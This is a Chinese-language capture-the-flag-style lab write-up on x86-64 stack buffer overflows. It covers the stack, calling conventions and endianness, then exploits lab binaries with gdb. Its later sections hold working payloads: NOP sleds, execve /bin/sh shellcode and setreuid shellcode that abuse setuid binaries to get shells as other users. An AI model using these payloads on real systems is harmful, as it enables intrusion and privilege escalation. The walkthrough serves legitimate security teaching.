Offensive Pentesting之Buffer Overflows基础

前言

  • 学习如何开始使用基本的缓冲区溢出!

  • 使用 radare2 (r2) 工具检查目标的内存布局。radare2 (r2)工具的地址链接:https://github.com/radareorg/radare2

部署

  • target machine : 10.10.205.154

  • attack machine : 10.11.61.123 (本机kali连接openVPN)

    • SSH登录:

        ┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows]
        └─$ ssh user1@10.10.205.154                                                  
        The authenticity of host '10.10.205.154 (10.10.205.154)' can't be established.
        ED25519 key fingerprint is SHA256:AsF56RWYwwHAw06LwzfQZsBY9+GuN1jrYmQRK3FP5dU.
        This key is not known by any other names.
        Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
        Warning: Permanently added '10.10.205.154' (ED25519) to the list of known hosts.
        user1@10.10.205.154's password: 
        Last login: Wed Nov 27 21:42:30 2019 from 82.34.52.37
      
            __|  __|_  )
            _|  (     /   Amazon Linux 2 AMI
            ___|\___|___|
      
        https://aws.amazon.com/amazon-linux-2/
        [user1@ip-10-10-205-154 ~]$ 
      

Process Layout (流程布局)

  • 当程序在机器上运行时,计算机将程序作为进程运行。当前的计算机体系结构允许计算机同时运行多个进程。虽然这些进程看似同时运行,但实际上计算机会在进程间快速切换,让它们看起来像是同时运行的。进程之间的切换称为上下文切换。由于每个进程运行时可能需要不同的信息(如当前要执行的指令),因此操作系统必须跟踪进程中的所有信息。进程中的内存是按顺序排列的,其布局如下:

    Alt text

    • 用户栈(User stack)包含运行程序所需的信息。这些信息包括当前程序计数器、保存的寄存器和更多信息。用户堆栈后的部分是未使用的内存,用于堆栈增长(向下)时使用。

    • 共享库区域(Shared library regions)用于静态/动态链接程序使用的库。

    • 堆(heap)的增减取决于程序是否动态分配内存。请注意,在堆的上方有一个未分配的部分,在堆的大小增加时使用。

    • 程序代码和数据(program code and data)存储程序的可执行文件和初始化变量。

x86-64 Procedures (x86-64 程序)

  • 一个程序通常由多个函数组成,因此需要有一种方法来跟踪哪些函数被调用,以及哪些数据从一个函数传递到另一个函数。堆栈是一个由连续内存地址组成的区域,用来方便在函数之间传输控制和数据。栈顶位于最低的内存地址,栈会向更低的内存地址扩展。

    Alt text

    • 堆栈最常见的操作有:
    1. Pushing: 用于向栈中添加数据

    2. Popping: 用于从栈中删除数据

  • push var

    • 这是一条将数值推入堆栈的汇编指令。它的作用如下:

      • 使用var或var内存位置中存储的值

        Alt text

      • 将堆栈指针(称为 rsp)减少 8

      • 将上面的值写入 rsp 的新位置,该位置现在位于栈顶。

        Alt text

  • pop var

    • 这是一条读取数值并将其从堆栈中弹出的汇编指令。它的作用如下:

      • 读取堆栈指针指定地址上的值

        栈底()

        Alt text

        堆栈顶(内存位置 0x0)(rsp 指向此处)

      • 将堆栈指针增加8

      • 将从rsp读取的值存储到var中

        Alt text

  • 每个编译后的程序都可能包含多个函数,每个函数都需要存储局部变量、传递给函数的参数等。为了便于管理,每个函数都有自己独立的堆栈框架,每个新的堆栈框架都会在函数被调用时分配,并在函数完成时取消分配。

    Alt text

    • 示例:

        int add(int a, int b){
      
            int new = a + b;
      
            return new;
      
        }
      
      
      
        int calc(int a, int b){
      
            int final = add(a, b);
      
            return final;
      
        }
      

Procedures Continued (程序 续)

  • 该解释假定当前执行点位于 calc 函数内部。在这种情况下,calc 被称为调用函数,而 add 被称为被调用函数。下面是 calc 函数内部的汇编代码

    Alt text Alt text

  • add 函数是使用汇编中的调用操作数调用的,在本例中为 callq sym.add。调用操作数可以使用一个标签作为参数(例如函数名称),也可以使用一个内存地址作为偏移量,以调用 *value 的形式作为函数的起始位置。一旦调用了 add 函数(并在函数执行完毕后),程序需要知道在哪一点上继续执行。为此,计算机会将下一条指令的地址推入堆栈,在本例中就是将包含 movl %eax, local_4h 这一行的指令地址推入堆栈。之后,程序将为新函数分配一个栈帧,将当前指令指针改为函数中的第一条指令,将栈指针(rsp)改为栈顶,并将帧指针(rbp)改为指向新帧的起点。

    Alt text Alt text

  • 函数执行完毕后,将调用返回指令(retq)。这条指令将弹出堆栈的返回地址值,取消分配 add 函数的堆栈帧,将指令指针改为返回地址值,将堆栈指针(rsp)改为堆栈顶,将帧指针(rbp)改为 calc 的堆栈帧。

    Alt text Alt text

  • 在上面的示例中,保存了函数需要参数的信息。calc函数需要 2 个参数(a 和 b)。函数的最多 6 个参数可以存储在以下寄存器中:

    • rdi

    • rsi

    • rdx

    • rcx

    • r8

    • r9

    • 注:rax 是一个特殊寄存器,用于存储函数的返回值(如果有的话)。

    • 如果函数不再有参数,这些参数将存储在函数栈帧中。

  • 现在可以看到,调用者函数可以在寄存器中保存值,但如果被调用者函数也想在寄存器中保存值,会发生什么情况呢?为了确保寄存器中的值不被覆盖,被调用者首先将寄存器中的值保存在堆栈框架中,然后使用这些寄存器,再将这些值加载回寄存器中。调用者函数也可以将值保存在调用者函数帧上,以防止值被覆盖。以下是关于哪些寄存器被调用者保存,哪些寄存器被被调用者保存的一些规则:

    • rax 被调用者保存。

    • rdi、rsi、rdx、rcx、r8 和 r9 被调用者保存(它们通常是函数的参数)。

    • r10、r11 被调用者保存

    • rbx, r12, r13, r14 被被调用者保存

    • rbp 也是被被调用者保存的(并且可以作为帧指针使用)

    • rsp 被被调用者保存

    Alt text

Endianess

  • 在上述程序中,可以看到二进制信息是以十六进制格式表示的。不同的体系结构实际上会以不同的方式表示相同的十六进制数,这就是所谓的Endianess无尾数。让我们以 0x12345678 的值为例。在这里,最小有效值是最右边的值(78),而最大有效值是最左边的值(12)。

  • Little Endian(小端字节序)是指数值从最小有效字节到最大有效字节的排列方式:

    Alt text

  • Big Endian(大端字节序)是指数值从最高位字节排序到最低位字节。

    Alt text

Overwriting Variables (重写变量)

  • 在了解了所有背景信息之后,来探究一下溢出的实际工作原理。如果查看一下 overflow-1 文件夹,就会发现一些带有二进制程序的 C 代码。我们的目标是改变整数变量的值。

      [user1@ip-10-10-205-154 ~]$ ls
      overflow-1  overflow-2  overflow-3  overflow-4
      [user1@ip-10-10-205-154 ~]$ cd overflow-1
      [user1@ip-10-10-205-154 overflow-1]$ ls
      int-overflow  int-overflow.c
      [user1@ip-10-10-205-154 overflow-1]$ cat int-overflow.c
      #include <stdlib.h>
      #include <unistd.h>
      #include <stdio.h>
    
      int main(int argc, char **argv)
      {
      volatile int variable = 0;
      char buffer[14];
    
      gets(buffer);
    
      if(variable != 0) {
          printf("You have changed the value of the variable\n");
      } else {
          printf("Try again?\n");
      }
      }
    
  • 从 C 代码中可以看到,整数变量和字符缓冲区是相邻分配的–由于内存是以连续字节分配的,因此可以认为整数变量和字符缓冲区是相邻分配的。

  • 注意:情况并非总是如此。根据编译器和堆栈的配置方式,在分配变量时,需要按照特定的大小边界(如 8 字节、16 字节)对齐,以方便内存分配/重新分配。因此,如果分配一个 12 字节的数组,堆栈对齐为 16 字节,那么内存就会是这个样子:

    Alt text

  • 编译器会自动增加 4 个字节,以确保变量的大小与堆栈大小一致。从上面的堆栈图像中,可以假定主函数的堆栈框架如下所示:

    Alt text

  • 尽管堆栈是向下增长的,但在向缓冲区复制/写入数据时,数据会从低地址复制到高地址。根据数据输入缓冲区的方式,这意味着有可能覆盖整数变量。从 C 代码中可以看到,gets 函数用于从标准输入向缓冲区输入数据。gets 函数很危险,因为它没有真正的长度检查 - 这意味着可以输入超过 14 字节的数据,从而覆盖整数变量。

  • 运行overflow-1这个文件夹中的C程序来覆盖上述变量!

      [user1@ip-10-10-205-154 overflow-1]$ ./int-overflow
      12345678912345
      Try again?
      [user1@ip-10-10-205-154 overflow-1]$ ./int-overflow
      123456789123456
      You have changed the value of the variable
    

Overwriting Function Pointers (重写函数指针)

  • 查看overflow-2文件夹:

      [user1@ip-10-10-205-154 ~]$ cd overflow-2
      [user1@ip-10-10-205-154 overflow-2]$ ls
      func-pointer  func-pointer.c
      [user1@ip-10-10-205-154 overflow-2]$ cat func-pointer.c
      #include <stdlib.h>
      #include <unistd.h>
      #include <stdio.h>
    
      void special()
      {
          printf("this is the special function\n");
          printf("you did this, friend!\n");
      }
    
      void normal()
      {
          printf("this is the normal function\n");
      }
    
      void other()
      {
          printf("why is this here?");
      }
    
      int main(int argc, char **argv)
      {
          volatile int (*new_ptr) () = normal;
          char buffer[14];
          gets(buffer);
          new_ptr();
      }    
    
  • 与上面的示例类似,使用 gets 函数将数据读入缓冲区,但缓冲区上方的变量并不是指向函数的指针。指针,顾名思义,是用来指向内存位置的,本例中的内存位置就是普通函数的内存位置。堆栈的布局与上面的示例类似,但这次必须找到调用特殊函数的方法(也许是使用函数的内存地址)。尝试在程序中调用特殊函数。

    • 请记住,这台机器的体系结构是小端字节序!

    • 使用gdb调试overflow-2文件夹下的func-pointer可执行程序。

      [user1@ip-10-10-138-137 overflow-2]$ gdb func-pointer
      ···
      (gdb) 
    
    • set命令set exec-wrapper env -u LINES -u COLUMNS, 它将为 gdb 设置environment从而可以使用我们所运行的任何可执行文件的绝对路径,这意味着在 gdb 内部所进行的任何利用操作在gdb外部也能够得以奏效。
      (gdb) set exec-wrapper env -u LINES -u COLUMNS
      (gdb) 
    
    • 由上述代码可知,buffer字符数组大小被设置为14,尝试输入14个字符及更多:
      (gdb) run
      Starting program: /home/user1/overflow-2/func-pointer 
      Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
      aaaaaaaaaaaaaa
    
      Program received signal SIGILL, Illegal instruction.
      0x00007fffffffe4b8 in ?? ()
      (gdb) run
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      Starting program: /home/user1/overflow-2/func-pointer 
      aaaaaaaaaaaaaaa
    
      Program received signal SIGSEGV, Segmentation fault.
      0x0000000000400061 in ?? ()
      ···
      (gdb) run
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      Starting program: /home/user1/overflow-2/func-pointer 
      aaaaaaaaaaaaaaaaaaaa
    
      Program received signal SIGSEGV, Segmentation fault.
      0x0000616161616161 in ?? ()
      (gdb) run
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      Starting program: /home/user1/overflow-2/func-pointer 
      aaaaaaaaaaaaaaaaaaaaa
    
      Program received signal SIGSEGV, Segmentation fault.
      0x00000000004005da in main ()
    

    a的16进制为61,输入14个时还未发生溢出覆盖,输入15个时返回地址最右变字符为61,对应多输出的a;继续输入,直到输入20个字符a,返回地址被完全覆盖,当输入21个a字符时返回地址就会重定向到其他地方,此时可知,除了buffer字符数组所需的14个字节外,只需要6个字节就可以完全覆盖返回地址

    • 为了调用special()函数,在gdbzhong 使用disassemble special可查看其地址:
      (gdb) disassemble special
      Dump of assembler code for function special:
      0x0000000000400567 <+0>:	push   %rbp
      0x0000000000400568 <+1>:	mov    %rsp,%rbp
      0x000000000040056b <+4>:	mov    $0x400680,%edi
      0x0000000000400570 <+9>:	callq  0x400460 <puts@plt>
      0x0000000000400575 <+14>:	mov    $0x40069d,%edi
      0x000000000040057a <+19>:	callq  0x400460 <puts@plt>
      0x000000000040057f <+24>:	nop
      0x0000000000400580 <+25>:	pop    %rbp
      0x0000000000400581 <+26>:	retq   
      End of assembler dump.
    
    • special()函数将从“0x0000000000400567”开始(也就是函数的起始地址),而目标机器采用了小端字节序吸入地址,因此其内存位置为\x67\x05\x40\x00\x00\x00,对应ASCII表可知其对应的字符形式:

      Alt text Alt text Alt text

        (gdb) run
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y
        Starting program: /home/user1/overflow-2/func-pointer 
        aaaaaaaaaaaaaag^E@^@^@^@
        this is the special function
        you did this, friend!
        [Inferior 1 (process 3464) exited normally]
      

缓冲区溢出示例1

  • 查看靶机中的 overflow-3 文件夹,在此文件夹中,我们将找到以下 C 代码:
[user1@ip-10-10-138-137 overflow-2]$ cd ..
[user1@ip-10-10-138-137 ~]$ cd overflow-3
[user1@ip-10-10-138-137 overflow-3]$ ls
buffer-overflow  buffer-overflow.c  secret.txt
[user1@ip-10-10-138-137 overflow-3]$ cat buffer-overflow.c
#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
    char buffer[140];
    strcpy(buffer, string);
    printf("%s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    printf("Here's a program that echo's out your input\n");
    copy_arg(argv[1]);
}

  • 在前面的示例中,我们已经知道当程序接受用户控制的输入时,它可能不会检查输入的字节长度,因此恶意用户就能够覆盖变量值并实际更改相关变量。

  • 在本例中,观察copy_arg 函数,我们可以看到其中的 strcpy 函数正在将字符串(即 argv[1],命令行参数)的输入复制到长度为 140 字节的缓冲区中。 由于 strcpy 函数的性质,它不会检查所输入数据的长度,所以此处有可能发生缓冲区溢出。

  • copy_arg 函数的栈(这个栈不包括 strcpy

    Alt text

  • 当一个函数(在本例中为 main)调用另一个函数(在本例中为 copy_args)时,它需要在堆栈上添加返回地址,以便被调用函数(copy_args)知道一旦完成执行应该将控制权转移到哪里。 从上面的栈中,我们知道输入的数据会从buffer[0]向上一直复制到buffer[140],由于我们可以溢出缓冲区,因此我们可以用我们自己构造的值溢出并覆盖返回地址——也就是说我们可以控制函数返回的位置并改变程序的执行流程。

  • 一旦知道我们可以通过将返回地址指向某个内存地址来控制程序执行流程,那么shellcode 就有了用武之地,shellcode 顾名思义就是用于打开 shell 的代码,具体而言,它是一些可以被执行的二进制指令;由于 shellcode 是机器代码(以二进制指令的形式存在),我们通常可以先编写一个 C 程序来执行我们想要的操作,然后再将其编译成汇编形式并提取相关的十六进制字符(可能它还会涉及编写自定义的程序集),现在我们将使用下面这个能够打开基本 shell 的 shellcode:

      \x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05
    
  • 我们需要将被覆盖的返回地址指向 shellcode,但是我们还要知道实际上要将 shellcode 存储在哪里以及我们应该将它指向什么实际地址? 我们可以将 shellcode 存储在缓冲区中 - 因为我们知道缓冲区的起始地址,所以我们可以覆盖返回地址以将其指向缓冲区的开头位置。以下是一些相关过程:

    • 找出缓冲区的起始地址和返回地址的起始地址

    • 计算这些地址之间的差异,以便我们知道要输入多少数据才能导致缓冲区溢出

    • 首先在缓冲区中输入 shellcode,然后在 shellcode 和返回地址之间输入随机数据,还要在返回地址中输入缓冲区的地址(以完成对返回地址的覆盖)

    Alt text

  • 从理论上讲,完成以上过程可能会有一个很好的效果,但是,内存地址在不同系统上可能不相同,即使在重新编译程序时在同一台计算机上也是如此,所以我们还可以使用 NOP 指令使以上过程更加灵活;NOP指令是一条无操作指令——当系统处理这条指令时,它将什么也不做,继续往下执行,NOP 指令可以使用\x90来表示;我们可以将 NOP 作为有效载荷的一部分,这意味着攻击者可以跳转到包含 NOP 的内存区域中的任何位置,并最终到达预期的指令,注入向量的情况将如下所示:

    Alt text

  • 可能已经注意到 shellcode、内存地址和 NOP sled 通常是十六进制代码,为了便于将有效载荷传递给输入程序,我们可以使用 python命令:

      python -c "print (NOP * no_of_nops + shellcode + random_data * no_of_random_data + memory address)"
    
      python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+
      '\x41' * 60 +
      '\xef\xbe\xad\xde') | ./program_name
      "
    

    在某些情况下,我们可能需要在 ./program_name 之前传递 xargs。

  • 使用上述方法,打开一个shell,读取虚拟靶机中的overflow-3 文件夹下的secret.txt文件内容。:

      [user1@ip-10-10-138-137 overflow-3]$ gdb -q buffer-overflow
      Reading symbols from buffer-overflow...(no debugging symbols found)...done.
      (gdb) run $(python -c "print('A'*158)")
      Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*158)")
      Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
      Here's a program that echo's out your input
      AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
      Program received signal SIGSEGV, Segmentation fault.
      0x0000414141414141 in ?? ()
      (gdb) 
    
    • 字符A对应的16进制为小x41(一个十六进制位占1个字节长度),输入158个A后,已经覆盖6字节长的返回地址, 这意味着我们到达返回地址开头的偏移量是 158-6 = 152字节。

      • shellcode采用https://www.arsouyes.org/blog/2019/54_Shellcode/结尾的40字节shellcode:
        \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
      
      • 整个有效载荷构成可以是这样子的:

      NOP sled(90)+shell code(40)+random chars(22)+Memory Address(6) , 即:

        '\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6
      
      • 验证有效载荷:
        (gdb) run $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6)")
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y
        Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6)")
        Here's a program that echo's out your input
        ������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAABBBBBB
      
        Program received signal SIGSEGV, Segmentation fault.
        0x0000424242424242 in ?? ()
        (gdb) 
      
      • 查看NOP sled字符串所在位置以及shellcode开头:
        x/100x $rsp-200
        #这将从内存位置 $rsp -200 字节处转储 100*4 字节。       
      

      Alt text

      Memory Address 取 NOP sled 和 shellcode 之间的地址(如0x7fffffffe298):

      则有效载荷可与为:

        '\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f'
      
        (gdb) run $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f')")
        The program being debugged has been started already.
        Start it from the beginning? (y or n) y
        Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f')")
        Here's a program that echo's out your input
        ������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAA�����
        process 5260 is executing new program: /usr/bin/bash
        sh-4.2$ 
      
      • 获取shell后,查看相关信息:
        sh-4.2$ ls
        Detaching after fork from child process 5263.
        buffer-overflow  buffer-overflow.c  secret.txt
        sh-4.2$ cat secret.txt 
        Detaching after fork from child process 5264.
        cat: secret.txt: Permission denied
        sh-4.2$ whoami
        Detaching after fork from child process 5265.
        user1
        sh-4.2$ ls -al
        Detaching after fork from child process 5312.
        total 20
        drwxrwxr-x 2 user1 user1   72 Sep  2  2019 .
        drwx------ 7 user1 user1  169 Nov 27  2019 ..
        -rwsrwxr-x 1 user2 user2 8264 Sep  2  2019 buffer-overflow
        -rw-rw-r-- 1 user1 user1  285 Sep  2  2019 buffer-overflow.c
        -rw------- 1 user2 user2   22 Sep  2  2019 secret.txt
      
      • secret.txt权限用户为user2,而当前shell用户为user1,需要切换用户来读取secret.txt文件

      • buffer-overflow文件设置了setuid位,可以利用这一点,cat /etc/passwd命令以找到user2的UID(1002):

        sh-4.2$ cat /etc/passwd
        ···
        user1:x:1001:1001::/home/user1:/bin/bash
        user2:x:1002:1002::/home/user2:/bin/bash
        user3:x:1003:1003::/home/user3:/bin/bash
      
      • 使用setreuid() 可以重新设置真实和有效的uid,我们可以添加setreuid()以修改之前的shellcode,让它在执行/bin/sh之前先执行setreuid(1002,1002)即可。

        • 注:在这些漏洞攻击中,大多数时候我们想要成为root,我们的目标是拥有setuid-root位的二进制文件,在这种情况下,简单地执行setuid(0)将起作用,因为当在root上调用时,setuid(0)也将你的实际UID设置为root。
      • 使用pwntools来帮助修改shellcode

        • 安装pwntools工具:
          sudo apt-get update
          sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential 
          sudo apt install pipx
          sudo python3 -m pipx install pipx     
          sudo python3 -m pipx install pwntools
        

        或者

          sudo apt install python3-pwntools
        
        • 使用pwntools的shellcraft 模块:
          pwn shellcraft -f d amd64.linux.setreuid 1002
          #-f d将shellcode格式设置为“转义”,也可以设置-f a 以查看汇编版本的shellcode
        
          ┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows]
          └─$ sudo pwn shellcraft -f d amd64.linux.setreuid 1002
          [sudo] kali 的密码:
          \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
        

        得到setreuid(1002,1002)所对应的shellcode:

          \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
        
        • 将setreuid(1002,1002)所对应的shellcode添加到我们之前获得目标shell所使用的shellcode之中即可,最终需执行以下命令:
          ./buffer-overflow $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41'*8 + '\x98\xe2\xff\xff\xff\x7f')")
        
          [user1@ip-10-10-138-137 overflow-3]$ ls
          buffer-overflow  buffer-overflow.c  secret.txt
          [user1@ip-10-10-138-137 overflow-3]$ ./buffer-overflow $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41'*8 + '\x98\xe2\xff\xff\xff\x7f')")
          Here's a program that echo's out your input
          ������������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAA�����
          sh-4.2$ whoami
          user2
          sh-4.2$ ls
          buffer-overflow  buffer-overflow.c  secret.txt
        

缓冲区溢出示例2

  • 首先查看overflow-4 文件夹下的buffer-overflow-2.c文件。

      [user1@ip-10-10-242-128 overflow-4]$ ls
      a.out  buffer-overflow-2  buffer-overflow-2.c  secret.txt
      [user1@ip-10-10-242-128 overflow-4]$ cat buffer-overflow-2.c
      #include <stdio.h>
      #include <stdlib.h>
    
      void concat_arg(char *string)
      {
          char buffer[154] = "doggo";
          strcat(buffer, string);
          printf("new word is %s\n", buffer);
          return 0;
      }
    
      int main(int argc, char **argv)
      {
          concat_arg(argv[1]);
      }
    
  • 目标缓冲区有154个字节,但doggo已经用了5个字节,即从149个字节开始测试:

      [user1@ip-10-10-242-128 overflow-4]$ gdb -q ./buffer-overflow-2
      Reading symbols from ./buffer-overflow-2...(no debugging symbols found)...done.
      (gdb) run $(python -c "print('A'*(154-5+8*2+4))")
      Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*(154-5+8*2+4))")
      Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
      new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
      Program received signal SIGSEGV, Segmentation fault.
      0x0000414141414141 in ?? ()
    
      此时已完全覆盖返回地址,偏移量为169    
    
  • 查看文件权限,为use3(1003):

      [user1@ip-10-10-242-128 overflow-4]$ ls -al
      total 28
      drwxrwxr-x 2 user1 user1   89 Dec 19 02:36 .
      drwx------ 7 user1 user1  169 Nov 27  2019 ..
      -rwxrwxr-x 1 user1 user1 6200 Dec 19 02:36 a.out
      -rwsr-xr-x 1 user3 user3 8272 Sep  3  2019 buffer-overflow-2
      -rw-rw-r-- 1 user1 user1  250 Sep  3  2019 buffer-overflow-2.c
      -rw------- 1 user3 user3   17 Sep  2  2019 secret.txt    
    
  • setreuid(1003)的shellcode为:

      root@ip-10-10-101-253:~# pwn shellcraft -f d amd64.linux.setreuid 1003
      \x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05   
    
  • 验证payload:NOP(90)+shellcode(54)+random(19)+memory(6)

      [user1@ip-10-10-242-128 overflow-4]$ gdb -q ./buffer-overflow-2
      Reading symbols from ./buffer-overflow-2...(no debugging symbols found)...done.
      (gdb) run $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + 'C'*6)")
      Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + 'C'*6)")
      Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
      new word is doggo\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd1\ufffdf\ufffd\ufffdjqXH\ufffd\ufffdj;XH1\ufffdI\ufffd//bin/shI\ufffdAPH\ufffd\ufffdRWH\ufffd\ufffdj<XH1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdCCCCCC
    
      Program received signal SIGSEGV, Segmentation fault.
      0x0000434343434343 in ?? ()
    
  • 查看NOP sled字符串所在位置以及shellcode开头:

    Alt text

    Memory Address 取 NOP sled 和 shellcode 之间的地址(如0x7fffffffe398):

      [user1@ip-10-10-242-128 overflow-4]$ ./buffer-overflow-2 $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + '\x98\xe3\xff\xff\xff\x7f')")
